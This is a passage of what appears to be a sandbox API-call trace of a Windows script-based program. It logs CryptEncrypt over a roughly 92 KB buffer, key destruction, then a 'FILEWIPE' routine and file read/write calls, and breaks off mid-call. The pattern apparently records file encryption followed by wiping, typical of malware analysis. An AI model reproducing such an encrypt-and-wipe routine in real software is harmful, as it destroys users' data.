hKey=0xe8f4062720, dwParam=0x7, pbData=0xe8f4064d80, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064d80*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0028.620] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.620] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.620] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.620] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.620] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.620] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.620] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.620] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.620] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0028.620] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.620] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.620] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0028.620] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.620] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.620] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0028.620] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.620] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.620] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.620] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.620] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.620] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.620] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.621] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.621] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.622] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.622] CryptEncrypt (in: hKey=0xe8f4062720, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x16830, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x16840) returned 1 [0028.622] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.622] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.622] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.622] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.622] CharLowerBuffW (in: lpsz="byte[92225]", cchLength=0xb | out: lpsz="byte[92225]") returned 0xb [0028.622] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.623] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.623] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.623] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.623] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.623] CryptEncrypt (in: hKey=0xe8f4062720, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f6000080*, pdwDataLen=0xe8f3dfdf68*=0x16830, dwBufLen=0x16840 | out: pbData=0xe8f6000080*, pdwDataLen=0xe8f3dfdf68*=0x16840) returned 1 [0028.624] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.624] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.624] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.624] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.624] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.624] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.624] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0028.624] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.624] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0028.624] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.624] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.624] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.624] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.624] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0028.624] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.624] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.624] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.629] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.629] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.629] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.632] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.632] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.632] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0028.632] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.632] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.633] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0028.633] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.633] CryptDestroyKey (hKey=0xe8f4062720) returned 1 [0028.633] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.633] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.633] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0028.633] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.633] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0028.633] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0028.633] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0028.633] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.633] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.633] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0028.633] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.633] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.633] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.633] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.633] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.633] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0028.633] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.633] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0028.633] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.633] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.633] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.633] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.633] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0028.633] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.634] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.634] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0028.634] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0028.634] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0028.634] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.634] CryptReleaseContext (hProv=0xe8f4199ac0, dwFlags=0x0) returned 1 [0028.634] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.634] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.634] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0028.634] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.634] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.634] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.634] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.636] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.637] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.637] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0028.637] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.637] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.637] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.637] CharLowerBuffW (in: lpsz="byte[92208]", cchLength=0xb | out: lpsz="byte[92208]") returned 0xb [0028.638] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.638] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0028.638] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.639] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0028.639] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.639] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.639] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.639] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0028.639] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.639] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.639] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.639] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.639] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.639] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.639] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.639] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.639] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.639] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.639] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.639] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.639] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.639] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.639] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.639] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.639] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0028.639] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.639] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.639] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.639] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0028.640] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.640] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.640] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.640] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.640] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0028.640] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.641] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0028.641] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0028.641] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=9466) returned 1 [0028.641] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0028.641] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0028.641] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0028.641] ReadFile (in: hFile=0x1fc, 